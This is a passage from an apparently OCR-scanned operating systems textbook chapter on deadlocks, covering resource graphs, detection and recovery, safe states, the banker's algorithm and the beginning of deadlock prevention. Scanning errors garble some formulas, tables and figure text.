the number and kind of resources possessed and requested -are unimportant. This 
result holds for any kind of resource, including both hardware and software. This 
�nd of ctt:a�lock is called a resource deadlock. It is probably the most common 
kind, but It IS not the only kind. We first study resource deadlocks in detail and 
then return to other kinds of deadlocks briefly at the end of the Chapter. 
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6.2.1 Conditions for Resonrce Deadlocks 

Coffman et aL (1971) showed that four conditions must hold for there to be a 
(resource) deadlock: 

1 .  Mutual exclusion condition. Each resource is either currently assign
ed to exactly one process or is available. 

2. Hold and wait condition. Processes currently holding resources that 
were granted earlier can request new resources. 

3. No preemption condition. Resources previously grante? cannot be 
forcibly taken away from a process. They must be explICltly releas
ed by the process holding them. 

4. Circular wait condition. There must be a circular chain of two or 
more processes, each of which is waiting for a resource held by the 
next member of the chain. 

All four of these conditions must be present for a resource deadlock to occur. If 
one of them is absent, no resource deadlock is possible. 

It is worth noting that each condition relates to a policy that a system can have 
or not have. Can a given resource be assigned to more than one process at once? 
Can a process hold a resource and ask for another? Can resources be preempted? 
Can circular waits exist? Later on we will see how deadlocks can be attacked by 
trying to negate some of these conditions. 

6.2.2 Deadlock Modeling 

Holt ( 1972) showed how these four conditions can be modeled using directed 
graphs. The graphs have two kinds of nodes: processes, shpwn as circles, and re
sources, shown as squares. A directed arc from a resource node (square) to a 
process node (circle) means that the resource has previously been request�d by, 
granted to, and is currently held by that process. In Fig. 6-3(a), resource R IS cur-
rently assigned to process A. 

. A directed arc from a process to a resource means that the process IS currently 
blocked waiting for that resource. In Fig. 6-3(b), process B is waiting for resource 
S. In Fig. 6-3(c) we see a deadlock: process C is waiting for resource T, which is 
currently held by process D. Process D is not about to release resource Tbecause 
it is waiting for resource U, held by C. Both processes will wait forever. A cycle 
in the graph means that there is a deadlock involving the processes and resources 
in the cycle (assuming that there is one resource of each kind). In this example, 
the cycle is C-T-D-U-C. 

Now let us look at an example of how resource graphs can be used. Imagine 
that we have three processes, A, S, and C, and three resources, R, S, and T. The 
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Figure 6-3. Resource allocation graphs. (a) Holding a resource. (b) Requesting 
a resource. (c) Deadlock 
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req�ests and rel�ases of the three processes are given in Fig. 6-4(a)-(c). The op
erat!ng system IS free to run any unblocked process at any instant, so it could 
decIde to run A until A finished all its work, then run B to completion, and finally 
run e 

This ordering does not lead to any deadlocks (because there is no competition 
for resources) but it also has no parallelism at all. In addition to requesting and 
releasing resources, processes compute and do I/O. When the processes are run 
sequentially, there is no possibility that while one process is waiting for I/O, an
other can use the CPU. Thus running the processes strictly sequentially may not 
be optimal. On the other hand, if none of the processes does any I/O at all, shor
test job first is better than round robin, so under some circumstances running all 
processes sequentially may be the best way. 

Let u� n?w suppose that the processes do both I/O and computing, so that 
round .robm IS a reas�nable scheduling algorithm. The resource requests might 
occur III the order of FIg. 6-4(d). If these six requests are carried out in that order 
the six resulting resource graphs are shown in Fig. 6-4(e)--(j). After request 4 ha� 
been made, A blocks �aiting for S,

. 
as shown in Fig. 6-4(h). In the next two steps 

B and C also block, ultImately leadmg to a cycle and the deadlock of Fig. 6-4(j). 
However, as we ?3Ve alrea�y mentioned, the operating system is not required 

to run t�e processes m any speCIal order. In particular, if granting a particular re
quest .rrught lead .to deadlock, the operating system can simply suspend the proc
ess without grantmg the request (i.e., just not schedule the process) until it is safe. 
In Fig. 6-4, if the operating system knew about the impending deadlock, it could 
suspend B instead of granting it S. By running only A and C, we would get the re
quests and releases of Fig. 6-4(k) instead of Fig. 6-4(d). This sequence leads to 
the resource graphs of Fig. 6-4CI)-Cq), which do not lead to deadlock. 

After step (q), process B can be granted S because A is finished and C has 
everything it needs. Ev�n if B should eventually block when requesting T, no 
deadlock can occur. B WIn just wait until C is finished. 
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1 .  A requests R 
2. B requests S 
3. C requests T 
4. A requests S 
5. B requests T 
6. C requests R 
deadlock v 

(d) 

1 .  A requests R 
2. C requests T 
3. A requests S 
4. C requests R 
5. A releases A 
6. A releases S 

no deadlock 
(k) 

DEADLOCKS 

A 
Request R 
Request S 
Release R 
Aelease S 

(a) 

0 0 0  
� 0 0  

(e) 

B 
Request S 
AequestT 
Release S 
Release T 

(b) 

0 0 0  
� ili  0 

(� 

CHAP. 6 

C 
RequeslT 
Request R 
ReleaseT 
Release R 

(e) 

(9) 

CR cr 0 CR CR� �Cf\n �0 � �0[b � 
(h) (i) 

l 0 0  0 0 0  0 0 0  
� 0 �  �� 0 0 0  

(I) (m) (0) 

0 0  c 

R 0 
(0) (p) (q) 

Figure 64. An example of how deadlock occurs and how it can be avoided. 

SEC. 6.2 INTRODUCTION TO DEADLOCKS 439 

Later in this chapter we will study a detailed algorithm for making allocation 
decisions that do not lead to deadlock. For the moment, the point to understand is 
that resource graphs are a tool that let us see if a given request/release sequence 
leads to deadlock. We just carry out the requests and releases step by step, and 
after every step check the graph to see if it contains any cycles. If so, we have a 
deadlock; if not, there is no deadlock. Although our treatment of resource graphs 
has been for the case of a single resource of each type, resource graphs can also 
be generalized to handle multiple resources of the same type (Holt, 1972). 

In general, four strategies are used for dealing with deadlocks. 

L Just ignore the problem. Maybe if you ignore it, it will ignore you. 

2. Detection and recovery. Let deadlocks occur, detect them, and take action. 

3. Dynamic avoidance by careful resource allocation. 

4. Prevention, by structurally negating' one of the four required conditions. 

We will examine each of these methods in turn in the next four sections. 

6.3 THE OSTRICH ALGORITHM 

The simplest approach is the ostrich algorithm: stick your head in the sand 
and pretend there is no problem at aUt. Different people react to this strategy in 
different ways. Mathematicians find it totally unacceptable and say that dead
locks must be prevented at all costs. Engineers ask how often the problem is 
expected, how often the system crashes for other reasons, and how serious a dead
lock is. If deadlocks occur on the average once every five years, but system 
crashes due to hardware failures, compiler errors, and operating system bugs oc
cur once a week, most engineers would not be willing to pay a large penalty in 
performance or convenience to eliminate deadlocks. 

To make this contrast more specific, consider an operating system that blocks 
the caller when an open system call on a physical device such as a CD-ROM driv
er or a printer cannot be carried out because the device is busy. Typically it is up 
to the device driver to decide what action to take under such circumstances. 
Blocking or returning an error code are two obvious possibilit.ies. If one process 
successfully opens the CD-ROM drive and another successfully opens the printer 
and then each process tries to open the other one and blocks trying, we have a 
deadlock. Few current systems wi11 detect this. 

tActually, this bit of folklore is nonsense. Ostriches can run at 60 kmfhour and their kick is powerful 
enough to kill any lion with visions of a big chicken dinner. 
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6.4 DEADLOCK DETECTION AND RECOVERY 

CHAP. 6 

A second technique is detection and recovery. When this technique is used, 

the system does not attempt to prevent deadlocks from occurring. Instead, .it lets 

them occur, tries to detect when this happens, and then takes some action to 

recover after the fact. In this section we will look at some of the ways deadlocks 

can be detected and some of the ways recovery from them can be handled. 

6.4.1 Deadlock Detection with One Resource of Each Type 

Let us begin with the simplest case: only one resource of each type exists. 

Such a system might have one scanner, one CD recorder, one plotter, and one tape 

drive but no more than one of each class of resource. In other words, we are ex

cludi�g systems with two printers for the moment. We will treat them later, using 

a different method. 
For such a system, we can construct a resource graph of the sort illustrated in 

Fig. 6�3. If this graph contains one or more cycles, a d�adlock exists .. Any proc

ess that is part of a cycle is deadlocked. If no cycles eXIst, the system IS not dead-

locked. 
As an example of a more complex system than the ones we have looked at sO 

far, consider a system with seven processes, A though G, and six r�sources, R 

through W. The state of which resources are currently owned and WhICh ones are 

currently being requested is as follows: 

1. Process A holds R and wants S. 

2. Process B holds nothing but wants T. 

3. Process C holds nothing but wants S. 

4. Process D holds U and wants S and T. 

5. Process E holds T and wants V. 

6. Process F holds Wand wants S. 

7. Process G holds V and wants U. 

The question is: "Is this system deadlocked, and if so, which processes are 

involved?" 
To answer this question, we can construct the resource graph of Fig. 6-5(a). 

This graph contains one cycle, which can be seen by visual inspection. The cycle 

is shown in Fig. 6H5(b). From this cycle, we can see th�rocesses D, E, and G 

are aU deadlocked. Processes A, C, and F are not deadloC'!!!'d because S can be al

located to any one of them, which then finishes and returns it. Then the other twO 

can take it in turn and also complete. (Note that to make this example more in

teresting we have allowed processes, namely D, to ask for two resources at once.) 
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(a) (b) 

Figure 6-5. (a) A resource graph. (b) A cycle extracted from (a). 

Although it is relatively simple to pick out the deadlocked processes by eye 
from a simple graph, for use in actual systems we need a formal al{]orithm for 
detecting deadlocks . . Ma�y alg�rithms for detecting cycles in directed

'::> 
graphs are 

known. B�low we wIll gIve a SImple one that inspects a graph and terminates ei
ther w�en It has found a cycl� or when it has shown that none exists. It uses one 
dy�amlc data st:ucture, L, a lIst of nodes, as well as the list of arcs. During the al
gonthm, arcs wIl� be m�rked to indicate that they have already been inspected, to 
prevent repeated mspect1ons. 

The algorithm operates by carrying out the following steps as specified: 

L For each node, N in the graph, perform the following five steps with 
N as the starting node. 

2. Initialize L to the empty list, and designate all the arcs as unmarked. 
3. Add the current node to the end of L and check to see if the node 

n�w a�pears in L two times. If it does, the graph contains a cycle 
(lIsted m L) and the algorithm tenninates. 

4. From the given node, see if there are any unmarked outgoing arcs. If 
so, go to step 5; if not, go to step 6. 

5. Pick an unmarked outgoing arc at random and mark it Then follow 
it to the new current node and go to step 3. 

6. If this node is the initial node, the graph does not contain any cycles 
and the algorithm terminates. Otherwise, we have now reached a 
dead end. Remove it and go back to the previous node, that is, the 
one that was current just before this one, make that one the current 
node, and go to step 3. 
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What this algorithm does is take each node, in turn, as the root of what it hopes 
will be a tree, and does a depth-first search on it. If it ever comes back to a node 
it has already encountered, then it has found a cycle. If it exhausts all the arcs 
from any given node, it backtracks to the previous node. If it backtracks to the 
root and cannot go further, the subgraph reachable from the current node does not 
contain any cycles. If this property holds for all nodes, the entire graph is cycle 
free, so the system is not deadlocked. 

To see how the algorithm works in practice, let us use it on the graph of 
Fig. 6-5(a). The order of processing the nodes is arbitrary, so let us just inspect 
them from left to right, top to bottom, first running the algorithm struting at R, 
then successively A, B, C, S, D, T, E, F, and so forth. If we hit a cycle, the algo-
rithin stops. 

We start at R and initialize L to the empty list. Then we add R to the list and 
move to the only possibility, A, and add it to L, giving L = [R, A]. From A we go 
to S oivino L = [R, A, S]. S has no outgoing arcs, so it is a dead end, forcing us to 
bacl�t�ack 70 A. Since A has no unmarked outgoing arcs, we backtrack to R, com
pleting our inspection of R. 

Now we restart the algorithm starting at A, resetting L to the empty list. This 
search, too, quickly stops, so we start again at B. From B we continue to follow 
outgoing ares until we get to D, at which time L = (B, T, E, V, G, U, D]. Now we 
must make a (random) choice. If we pick S we come to a dead end and backtrack 
to D. The second time we pick T and update L to be [B, T, E, V, G, U, D, 11, at 
which point we discover the cycle and stop the algorithm. . This algorithm is far from optimal. For a better one, see (Even, 1979). 
Nevertheless, it demonstrates that an algorithm for deadlock detection exists. 
6.4.2 Deadlock Detection with Mnltiple Resources of Each Type 

When multiple copies of some of the resources exist, a different approach is 
needed to detect deadlocks. We will now present a matrix-based algorithm for 
detecting deadlock among n processes, P I  through PIl• Let the number of re
source classes be m, with E I resources of class 1 ,  E 2 resources of class 2, and 
generally, Ei resources of class i (1 :::;; i :::;; m). E is the existing resource vector. 
It gives the total number of instances of each resource in existence. For example, 
if class 1 is tape drives, then E I = 2 means the system has two tape drives. 

At any instant, some of the resources are assigned and are not available. Let 
A be the available resource vector, with Ai giving the number of instances of re
source i that are currently available (i.e., unassigned). If both of our two tape 
drives are assigned, A I will be O. 

Now we need two arrays, C, the current allocation matrix, and. R, the 
request matrix. The i�th row of C tells how many instances of each resource 
class Pi currently holds. Thus Cij is the number of instances of resource j that are 
held by process i. Similarly, Rij is the number of instances of resource j that Pi 
wants. These four data structures are shown in Fig. 6-6. 
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Resources in existence 
(E1' E2, E3, " ', Em) 

Curren! allocation matrix 

C2l C22 C23 C 
[C" C" C" c,m] C: ��w n �::UH::: alloea"o::: 
to process n 

Resources available 
(Al, Az' �' ... , Am) 

Request matrix 

d=:: �;: �:: �'
m] R" R", RoO R: 

Row 2 IS what process 2 needs 

Figure 6�6. The four data structures needed by the deadlock detection algorithm. 

443 

An import�nt .
invariant holds for these four data structures. In particular 

every resource IS eIther allocated or is available. This observation means that 
' 

" Leij + Aj � Ej i=l 
In other words: if we add up all the instances of the resource j that have been allo
?ated and to thIS add all the instances that are available, the result is the number of 
mstances of that resource class that exist. 

The deadl�ck detection algorithm is based on comparing vectors. Let us 
define the relatIOn A :::; B on two vectors A and B to mean that each element of A . s 
less �an or equ�I to the corresponding element of B. Mathematically A < k 
holds If and only If AI :::;; Bi for 1 :::;; i :::;; m. 

' -

Each pr�cess is initially said to be unmarked. As the aloorithm progresses 
processes WIll be marked, indicating that they are able to co;plete and are thu� 
not deadlocked. When the algorithm terminates, any unmarked processes are 
known to be deadl�cked. This algorithm assumes a worst-case scenario: all roc-
esses keep all acqUIred resources until they exit. 

P 

The deadlock detection algorithm can now be given as follows. 
1 .  Look for an unmarked process, Pi, for which the i-th row of R is less 

than or equal to A. 
2. If such a process is found, add the i-th row of C to A, mark the pro�� 

ess, and go back to step 1 .  

3. I f  no such process exists, the algorithm terminates. 

When the algorithm finishes, all the unmarked processes, if any, are deadlocked. 
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What the algorithm is doing in step 1 is looking for a process that can be run 

to completion. Such a process is characterized as having resource demands that 

can be met by the currently available resources. The selected process is th
en mn 

until it finishes at which time it returns the resources it is holding to the pool of 

available resou�ces. It is then marked as completed. If all the processes are ulti

matel y able to run to completion, none of them are deadlocked. If some of them 

can never finish, they are deadlocked. Although the algorithm is nondeterministic 

(because it may run the processes in any feasible order), the result is always the 

same. 
As an example of how the deadlock detection algorithm works, consider 

Fig. 6� 7. Here we have three processes and four resource classes, which we have 

arbitrarily labeled tape drives, plotters, scanner, and CD�ROM drive. Process 1 

has one scanner. Process 2 has two tape drives and a CD-ROM drive. Process 3 

has a plotter and two scanners. Each process needs additional resources, as shown 

by the R matrix . 

Current allocation matrix [ 0  0 1 0 )  
C'" 2 0 0 1 

o 1 2 0 

A= ( 2 o 0 ) 
Request matrix [ 2 0 0 1 ] 

R=  1 0 1 0 2 1 0 0 
Figure 6.7. An example for the deadlock detection algorithm. 

To run the deadlock detection algorithm, we look for a process whose re
source request can be satisfied. The first one cannot be satisfied because there is 
no CD-ROM drive available. The second cannot be satisfied either, because there 
is no scanner free. Fortunately, the third one can be satisfied, so process 3 runs 
and eventually returns all its resources, giving 

A = (2 2 2 0) 

At this point process 2 can run and return its resources, giving 

A = (4 2 2 1) 

Now the remaining process can run. There is no deadlock in the system. 
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Now consider a minor var�ation of the situation of Fig. 6-7. Suppose that 
process 2 needs a CD-ROM d:lve as well as the two tape drives and the plotter. 
None of the requests can be satIsfied, so the entire system is deadlocked. 

Now that we know how to detect deadlocks (at least with static resource re
ques�s 

.
�o,,:n in advance), the

. 
question of when to look for them comes up. One 

poss1b1lIty 1S to check every tIme a resource request is made. This is certain to 
�etect them as early as possible, but it is potentially expensive in terms of CPU 
tnne. An alternative strategy is to check every k minutes, or perhaps only whe 
th� CPU utilization has dropped below some threshold. The reason for consid� 
enng the CPU utilization is that if enough processes are deadlocked, there will be 
few runnable processes, and the CPU will often be idle. 

6.4.3 Recovery from Deadlock 

Suppose that our deadlock detection algorithm has succeeded and detected a 
dea?lock. ":'hat n�xt? So�e w.ay is needed to recover and get the system going 
agam. In thIS sectIon we WIll dISCUSS various ways of recovering from deadlock 
None of them are especially attractive, however. 

. 

Recovery through Preemption 

In some cases it may be possible to temporarily take a resource away from its 
current owner and give it to another process. In many cases manual intervention 
ma� be required, especially in batch processing operating

' 
systems running on 

mamframes. 
For example, to take a l�ser printer away from its owner, the operator can col

lect all the sheets already pnnted and put them in a pile. Then the process can be 
suspended (marked as not runnable). At this point the printer can be assigned to 
anoth�r proce�s. When that process finishes, the pile of printed sheets can be put 
back m the pnnter's output tray and the original process restarted. 
. The abili�y t� take a r�source away from a process, have another process use 
It, and then gIVe It back WIthout the process noticing it is highly dependent on the 
nature. of the resource. Recovering this way is frequently difficult or impOSSible. 
Choosmg the process to suspend depends largely on which ones have resources 
that can easily be taken back. 

Recovery through Rollback 

If the system designers and machine operators know that de�dlocks are likely, 
they can arrange to. have p�oces�es checkpointed periodically. Checkpointing a process means that Its state IS wntten to a file so that it can be restarted later. The 
checkpoint cont�ns not only the memory image, but also the resource state, in 
other words, whIch resources are currently assigned to the process. To be most 
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effective, new checkpoints should not overw11te old ones but should be written to 
flew files, so as the process executes, a whole sequence accumulates. 

When a deadlock is detected, it is easy to see which resources are needed. To 
do the recovery, a process that owns a needed resource is rolled back to a point in 
time before it acquired that resource by starting one of its earlier checkpoints. All 
the work done since the checkpoint is lost (e.g., output printed since the check
point must be discarded, since it will be printed again). In effect, the process is 
reset to an earlier moment when it did not have the resource, which is now assign
ed to one of the deadlocked processes. If the restarted process tries to acquire the 
resource again, it will have to wait until it becomes available, 

Recovery through Killing Processes 

The crudest, but simplest way to break a deadlock is to kill one or more proc
esses, One possibility is to kill a process in the cycle, With a little luck, the other 
processes will be able to continue, If this does not help, it can be repeated until 
the cycle is broken, 

Alternatively, a process not in the cycle can be chosen as the victim in order 
to release its resOUrces, In this approach, the process to be killed is carefully cho
sen because it is holding resources that some process in the cycle needs, For ex
ample, one process might hold a printer and want a plotter, with another process 
holding a plotter and wanting a printer. These two are deadlocked. A third proc
ess may hold another identical printer and another identical plotter and be happily 
running, Killing the third process will release these resources and break the dead
lock involving the first two, 

Where possible, it is best to kill a process that can be rerun from the begin
ning with no ill effects, For example, a compilation can always be rerun because 
all it does is read a source file and produce an object file, If it is killed partway 
through, the first run has no influence on the second run, 

On the other hand, a process that updates a database cannot always be run a 
second time safely, If the process adds I to some field of a table in the database, 
running it once, killing it, and then running it again will add 2 to the field, which 
is incorrect. 

6.5 DEADLOCK AVOIDANCE 

In the discussion of deadlock detection, we tacitly assumed that when a proc
ess asks for resources, it asks for them all at once (the R matrix of Fig. 6-6), In 
most systems, however, resources are requested one at a time. The system must 
be able to decide whether granting a resource is safe or not and only make the al
location when it is safe. Thus the question arises: Is there an algorithm that can 
always avoid deadlock by making the right choice all the time? The answer is a 
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qualified yes-we can avoid d dl ks b ' 
able in advance In th' , ea oc ' . ut only If certain information is avail
source allocatio�, 

IS SectIon we eXamIne ways to avoid deadlock by careful re-

6.S.1 Resource Trajectories 

The main algorithms for doing deadlock avoidance are based on the c of safe states. Before describing the algorithms, we will make a sHoht d' onc�pt 
to look at the c�ncept of safety in a graphic and easy-to-underst:nd 
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�ho�gh the gra�hlc�l. approach does not translate directly into a usable alo%;'th 
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Figure 6-8. Two process resource trajectories. 
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motton IS always to the north Or east, never to the south or west (because proc� esses cannot run backward in time, of course), 
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When A crosses the 1\ line on the path from r to s, it requests and is granted 
the printer. When B reaches point t, it requests the plotter. . ' . The reoions that are shaded are especially interesting. The regIOn wIth hnes 
slantino fr;m southwest to northeast represents both processes having the printer. 
The m�tual exclusion rule makes it impossible to enter this region. Similarly, the 
region shaded the other way represents both processes having the plotter, and is 
equally impossible. 

If the system ever enters the box bounded by II and 12 on the si�es and � 5 and 
16 top and bottom, it will eventually deadlock when it g�ts to the .1lltersectI?fl of 
12 and 16- At this point, A is requesting the plotter and B IS requestmg the pnnter, 
and both afe already assigned. The entire box is unsafe and must not be entered. 
At point t the only safe thing to do is run process A until it gets to 14, Beyond 
that, any trajectory to u will do. . The important thing to see here is that at point t, B is requestIng a resource. 
The system must decide whether to grant it or not. If the grant i� made, the sys
tem will enter an unsafe region and eventually deadlock. To aVOId the deadlock, 
B should be suspended until A has requested and released the plotter. 

6.5.2 Safe and Unsafe States 

The deadlock avoidance algorithms that we will study use the information of 
Fig. 6-6. At any instant of time, there is a current state consisting of E, A, C, and 
R. A state is said to be safe if there is some scheduling order in which every proc
ess can run to completion even if aU of them suddenly request their maximum 
number of resources immediately. It is easiest to illustrate this concept by an ex
ample using one resource. In Fig. 6-9(a) we have a state in which A has three 
instances of the resource but may need as many as nine eventually. B currently 
has two and may need four altogether, later. Similarly, C also has two but may 
need an additional five. A total of 10 instances of the resource exist, so with 
seven resources already allocated, there are three still free. 

A 
8 
C 

Has Max 
3 
2 
2 

Free: 3 
(a) 

9 
4 
7 

A 
8 
C 

Has Max 
3 
4 
2 

Free: 1 
(b) 

9 
4 
7 

Has Max Has Max 

§IffiJ §IffiJ B 0 - 8 0 -
C 2 7 C 7 7 

Free: 5 Free: 0 
(c) (d) 

Figure 6-9. Demonstration that the state in (a) is safe. 

Has Max 

tmE 8 0 -
C 0 -

Free: ? 
(e) 

The state of Fig. 6-9(a) is safe because there exists a sequence of allocations 
that allows all processes to complete. Namely, the scheduler could simply run B 
exclusively, until it asked for and got two more instances of the resource, leading 
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to the state of Fig. 6-9(b). When B completes, we get the state of Fig. 6-9(c). 
Then the sched�ler can run C, leading eventually to Fig. 6-9(d). When C com
pletes, we get FIg. 6-9(e). Now A can get the six instances of the resource it needs 
and also complete. Thus the state of Fig. 6-9(a) is safe because the s t b 

ful h d I· 
ys em, y 

care sc e u mg, can avoid deadlock. 
Now suppose we have the initial state shown in Fig. 6-1O(a), but this time A 

requ�sts and gets another resource, giving Fig. 6-1O(b). Can we find a sequence 
that IS .guaranteed to work? Let us try. The scheduler could run B until it asked 
for all ItS resources, as shown in Fig. 6-1 O( c). 

A 
8 
C 

Has Max 
3 
2 
2 

Free: 3 
(a) 

9 
4 
7 

A 
8 
C 

Has Max 
4 
2 
2 

Free: 2 
(b) 

9 
4 
7 

A 
B 
C 

Has Max 
4 
4 
2 

Free: 0 
(c) 

9 
4 
7 

Figure 6�10. Demonstration that the state in (b) is not safe. 

Has Max 

� tttilij 
Free: 4 
(d) 

Eventually, B completes and we get the situation of Fig. 6-1O(d). At this point 
we are stuck. We only have four instances of the resource free and ea- h f th . , c 0 e 
acttve processes needs five. There is no sequence that Guarantees co I "  
Th th II . d · · 

b mp euon. 
us e a ocatlOn eCISlon that moved the system from Fig. 6-IO(a) to Fig. 6-

1 ?(b) went from a safe state
. 
to an unsafe state. Running A or C next starting at 

FIg. 6-
d
l O(b) does not work eIther. In retrospect, A's request should not have been 

grante . 

. 
It is worth noting that an unsafe stat� is not a deadlocked state. Starting at 

FIg. 6-10(b), the sys!em can run for a whIle. In fact, one process can eVen com
plete. Furthermo.re, It is possible that A might release a resource before asking for 
a�J more, allowmg C to complete and avoiding deadlock altogether. Thus the 
dltference between a safe state and an unsafe state is that from a safe state the sys
tem can guarante� that all processes will finish; from an unsafe state, no such 
guarantee can be gIven. 

6.5.3 The Banker's Algorithm for a Single Resource 

. 
A scheduling algorithm that can avoid deadlocks is due to Dijkstra (1965); it 

IS known as the banker's algorithm and is an extension of the deadlock d t t· 
I ·th . . S - e ec Ion 

a ?on m gIv�n III ec. 3.4.1 .  It is modeled On the way a small-town banker 
mIght deal wlt

.
h a group of customers to whom he has granted lines of credit. 

What the. 
algonthm does is check to see if granting the request leads to an unsafe 

state. If It does, the request is denied. If granting the request leads to a safe state 
it is carried out. In Fig. 6-1 1(a) we see four customers A B C  and D h f

' , , , . , eac 0 



450 DEADLOCKS CHAP. 6 

rtain number of credit units (e.g., 1 unit is l K  do�l�s). whom has been granted a ee
t all customers will need their maximum credlt 1I�The banker knows that no 
d I 10 nits rather than 22 to service them. (In thIS mediately, so he has reserve on y 

't� are say tape drives, and the banker is the analogy, customers are processes, um , , 
operating system.) 

Has Max Has Max Has Max 

A 0 6 A 1 6 A 1 6 

B 0 5 B 1 5 B 2 5 

C 0 4 C 2 4 C 2 4 

0 0 7 0 4 7 0 4 7 

Free: 10 Free: 2 Free: 1 
(a) (b) (e) 

. 6 11 Th resource allocation states: (a) Safe. (b) Safe. (c) Unsafe. Figure " .  ree 

o about their respective businesses, making loa� re�ues�s T�e cust�mers. g 
in for resources). At a certain moment, the SItuatIon IS from tIme.to t�me (Le., aSk
Th�S state is safe because with two units left, the bank�r as shown m FIg. 6-11(b). C' th s lettinO' C finish and release all four of hIS can delay any. requests �xc:Pt

h � th: banke; can let either D or B have the necresources. With four umts m an , 
essary u�ts, and so on. 

a en if a request from B for one more unit 'were Con�lde: what woult: :�Uld have situation Fig. 6-1 1 (c), which is unsafe. If granted m Flg. 6-1l(b). V 
ed for their maximum loans, the banker could not all the customers suddenly ask 

ld have a deadlock. An unsafe state does not . f any of them and we WOll . d' j' saBS y ' .  stamer mioht not need the entire ere It me have to lead to deadlock, smce a cu . ::> . 
b h b nker cannot count on this behavIOr. available, ut t ,e a . 'ders each request as it occurs, and sees if grant-The banker s algonthm �o�s�oes the request is o-ranted; otherwise, it is posting it lead� to a safe st::; 

i� � state
' is safe, the ba�ker checks to see if he has poned untd later. To 

. f e customer. If so, those loans are assumed to be eno�gh resources to satls y sor:losest to the limit is checked, and so on. If all repaId, and the customer no,",: d the state is safe and the initial request can be loans can eventually be repat , 
granted. 

6.5.4 The Banker's Algorithm for Multiple Resources 

. h be generalized to handle multiple resources. Fig-The banker's algont m can 
ore 6-12

. 
shows how it works. 

trices shown. The one on the left shows how many In FIo 6-12 we see two rna , 
Th t '  

•. 
o· 

ntly assiO'ned to each of the five processes. e rna nx � f each resource are curre 0 
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A 3 0 1 1 A 1 1 0 0 
B 0 1 0 0 B 0 1 1 2 
C 1 1 1 0 C 3 1 0 0 
0 1 1 0 1 0 0 0 1 0 
E 0 0 0 0 E 2 1 1 0 
Resources assIgned Resources sill! needed 

E :  (6342) 
P = (5322) 
A = {1020} 

Figure 6-12. The banker's algorithm with multiple resources. 

451 

on the right shows how many resources each process still needs in order to complete. These matrices are just C and R from Fig. 6-6. As in the single-resource case, processes must state their total resource needs before executing, so that the system can compute the right-hand matrix at each instant. The three vectors at the right of the figure show the existing resources, E, the possessed resources, P, and the available resources, A, respectively. From E we see that the system has six tape drives, three plotters, four printers, and two CDROM drives. Of these, five tape drives, three plotters, two printers, and two CDROM drives are currently assigned. This fact can be seen by adding up the four resource columns in the left-hand matrix. The available resource vector is simply the difference between what the system has and what is currently in use. The algorithm for checking to see if a state is safe can now be stated. 
1. Look for a row, R, whose unmet resource needs are all smaller than or equal to A. If no such row exists, the system will eventually deadlock since no process can run to completion (assuming processes keep all resources until they exit). 

2. Assume the process of the row chosen requests all the resources it needs (which is guaranteed to be possible) and finishes. Mark that process as tenninated and add all its resources to the A vector. 
3. Repeat steps 1 and 2 until either all processes are marked terminated (in which case the initial state was safe) or no process is left whose resource needs can be met (in which case there is a deadlock). 

If several processes are eligible to be chosen in step 1, it does not matter which one is selected: the pool of available resources either gets larger. or at worst, stays the same. 
Now let us get back to the example of Fig. 6-12. The current state is safe. Suppose that process B now makes a request for the printer. This request can be 
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granted because the resulting state is still safe (process D can finish, and then 

processes A or E, followed by the rest). . . . 
Now imagine that after giving B one of the two remaInmg pnnters,

. 
E wants 

the last piintee Granting that request would reduGe the ve��or of avrulable re

sources to ( 1  0 0 0), which leads to deadlock. Clearly E s request must be 

deferred for a while. . 
The banker's algorithm was first published by Dijkstra in 1965: Smce that 

time, nearly every book on operating systems has describe� it in detaiL Innumer

able papers have been written about various aspects o! It. Unfortunatel�, fe,:", 
authors have had the audacity to point out that although III theory the algonthm �s 

wonderful, in practice it is essentially useless because proce��es rarely know III 

advance what their maximum resource needs will be. In additlon, the number of 

processes is not fixed, but dynamically varying as new users log in and �ut. Fur

thermore, resources that were thought to be available can suddenly valllsh (ta�e 

drives can break). Thus in practice, few, if any, existing systems use the banker s 

algorithm for avoiding deadlocks. 

6.6 DEADLOCK PREVENTION 

Having seen that deadlock avoidance is essentially impossible, because it re
quires information about future requests, which is not known: �ow do real systems 
avoid deadlock? The anSwer is to go back to the four condItIOns stated by Coff
man et aL (1971) to see if they can provide a clue. If we c�n ensure that at l�ast 
one of these conditions is never satisfied, then deadlocks wIll be structurally Im
possible (Havender, 1968). 

6.6.1 Attacking the Mutual Exclusion Condition 

First let us attack the mutual exclusion condition. If no resource were ever as
signed exclusively to a single process, we would nev�r have dead�ocks. However, 
it is equally clear that allowing two processes to WrIte on the pnnter at the same 
time will lead to chaos. By spooling printer output, several processes can gen
erate output at the same time. In this model, the only process that actually re
quests the physical printer is the printer daemon. Since the ?aemon never re
quests any other resources, we can eliminate deadlock for the pnnter. . If the daemon is programmed to begin printing even bef?re all the .output IS 
spooled, the printer might lie idle if an output process deCIdes to watt several 
hours after the first burst of output. For this reason, daemons are normally pr�
grammed to print only after the complete output file is ava�lable. However, thIS 
decision itself could lead to deadlock. What would happen If two processes each 
filled up one half of the available spooling space with output and neither was fin
ished producing its full output? In this case we have two processes that have each 
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finished part, but not all, of their output, and cannot continue. Neither process 
will ever finish, so we have a deadlock on the disk. 

Nevertheless, there is a genn of an idea here that is frequently applicable. 
Avoid assigning a resource when that is not absolutely necessary, and try to make 
sure that as few processes as possible may actually claim the resource. 

6.6.2 Attacking the Hold and Wait Condition 

The second of the conditions stated by Coffman et a1. looks slightly more 
promising. If we can prevent processes that hold resources from waiting for more 
resources, we can eliminate deadlocks, One way to achieve this goal is to require 
all processes to request all their resources before starting execution. If everything 
is available, the process will be allocated whatever it needs and can run to com* 
pIetion. If one or more resources are busy, nothing will be allocated and the proc
ess would just wait. 

An immediate problem with this approach is that many processes do not know 
how many resources they will need until they have started running, In fact, if they 
knew, the banker's algorithm could be used. Another problem is that resources 
will not be used optimally with this approach. Take, as an example, a process that 
reads data from an input tape, analyzes it for an hour, and then writes .an output 
tape as well as plotting the results. If all resources must be requested in advance, 
the process will tie up the output tape drive and the plotter for an hour. 

Nevertheless, some mainframe batch systems require the user to list all the re
sources on the first line of each job. The system then acquires all resources im
mediately and keeps them until the job finishes. While this method puts a burden 
on the programmer and wastes resources, it does prevent deadlocks. 

A slightly different way to break the hold-and-wait condition is to require a 
process requesting a resource to first temporarily release all the resources it cur
rently holds. Then it tries to get everything it needs all at once. 

6.6.3 Attacking the No Preemption Condition 

Attacking the third condition (no preemption) is also a possibility If a process 
has been assigned the printer and is in the middle of printing its output, forcibly 
taking away the printer because a needed plotter is not available is tricky at best 
and impossible at worst. However, some resources can be virtualized to avoid 
this situation. Spooling printer output to the disk and allowing only the printer 
